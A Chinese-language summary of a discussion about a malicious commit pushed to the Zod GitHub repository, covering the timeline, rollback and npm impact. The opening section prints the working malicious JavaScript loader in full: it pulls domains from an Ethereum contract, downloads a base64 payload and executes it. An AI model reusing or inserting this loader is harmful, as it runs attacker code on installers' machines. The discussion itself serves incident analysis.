GitHub(GitHub)上 Zod(Zod)仓库的提交 d821685ea6732436fcdf786a81d076958471e467 新增了一段异步脚本:它遍历 RPC 地址 R,发送 JSON-RPC 2.0 的以太坊(Ethereum)ethcall 请求,目标合约 C 与数据 S 由变量指定,再把返回结果解码为多个域名;随后依次请求 https://域名/loader,若返回含 setupB64、payloadName 和 payloadB64,就在临时目录建 ld- 前缀文件夹,写入 base64 载荷文件,将 RUNTIMEDIR 指向该目录,导入 setupB64 对应的 data URL 模块并等待 SETUP_DONE,最后递归删除临时目录。
正文
(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"ethcall",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(https://${d}/loader);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIMEDIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.SETUP_DONE}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));
评论
社区最初高度警惕,多数参与者认定 Zod 某个提交里的代码明显是被植入的恶意远程代码加载器,仓库确实遭到了供应链攻击尝试。分歧主轴在于实际影响范围:一部分人担心已发布的 4.6.6 被感染,高赞与较多人在澄清后指出恶意提交已在正式发布前回滚、npm 发布版并未包含该代码,只是 GitHub 上的提交和标签仍能看到;也有人追问明显改动如何混入,或只以加密圈梗调侃。
认为恶意代码已在发布前回滚,npm 发布版并未被感染
- 澄清时间线显示:9 月 21 日有人利用维护者 git 凭据把恶意代码推入 Zod 的 main 分支,维护者当天回滚(PR #6620);10 月 11 日发布的 4.6.6 不包含该代码,因此没有任何已发布的 Zod 版本被攻陷,npm 侧实际风险有限。但 GitHub 的提交与 v4.6.6 标签仍能检出这段恶意代码,不能用 npm 干净反推仓库无痕迹。这也回应了部分使用者对现有项目是否必须紧急处理的担忧:正式发布包未受影响,不需要按被投毒的已发布版本处理。(高赞) > 这曾是一次真实的仓库入侵:恶意代码进了 Zod 的 main 分支,但没进 npm,没有任何已发布的 Zod 版本真的被攻陷。(@yuvalkarmi)
认定这是仓库被攻陷后的恶意远程代码加载器
- 大家指出该提交中的代码会在安装时注入并执行 JS 载荷,且毫不掩饰,看起来就是被植入的恶意软件下载器;有人形容它坏到连隐藏都不尝试。(较多人) > 恶意代码似乎会在安装 zod 时注入 JS 载荷,并从以太坊智能合约中获取它来执行。(@jaapz)
指出恶意代码借以太坊智能合约隐藏命令控制地址
- 攻击者把后续服务器的地址藏在以太坊智能合约或区块链里,安装时先从链上取回再下载后续载荷;由于地址在链上可更新,命令控制 URL 很难被下架,有人反讽这是区块链少见的“实用场景”。(较多人) > 结果区块链真有了用途:让命令控制 URL 免于被下架!(@MisterMunchkin)
质疑如此明显的恶意改动为何能进入仓库
- 少数人追问:改动很小,而且代码里直接含有以太坊 URL,为什么能通过审查、混进仓库;这背后应是凭据泄露或流程被绕过。(少数人) > 这怎么可能?改动很小,而且代码里直接就有一个以太坊 URL,它是怎么通过审查的?(@blueblazin)
调侃这是加密圈典型操作
- 少数人用一句玩笑表达社区对攻击者使用以太坊手法的观感,认为这很符合加密圈的一贯作风。(少数人) > 加密圈的人又在干加密圈典型的那套事。(@oraro)
有价值的补充
- 技术细节:有人指出攻击者把本应在安装时触发恶意脚本的 preinstall 键放在了 package.json 根目录,而不是 scripts 字段里,因此即便这段代码随包分发,也可能根本不会在 install 时执行;它实质是一个从以太坊主网取回并运行载荷的 stage-1 加载器。(@xx_ns 指出)
- 同一波攻击还瞄准了 standard-schema 和 nub:nub 的恶意版本曾真正发布到 npm,但被 npm 的恶意软件扫描拦截;Zod 则没有已发布版本被攻陷,说明攻击范围比单个仓库更大。
- GitHub 上的 v4.6.6 标签仍关联该恶意提交 d821685,因此仓库侧仍能检出这段代码;npm 侧干净与 GitHub 标签残留并不矛盾,排查时不能只看发包平台。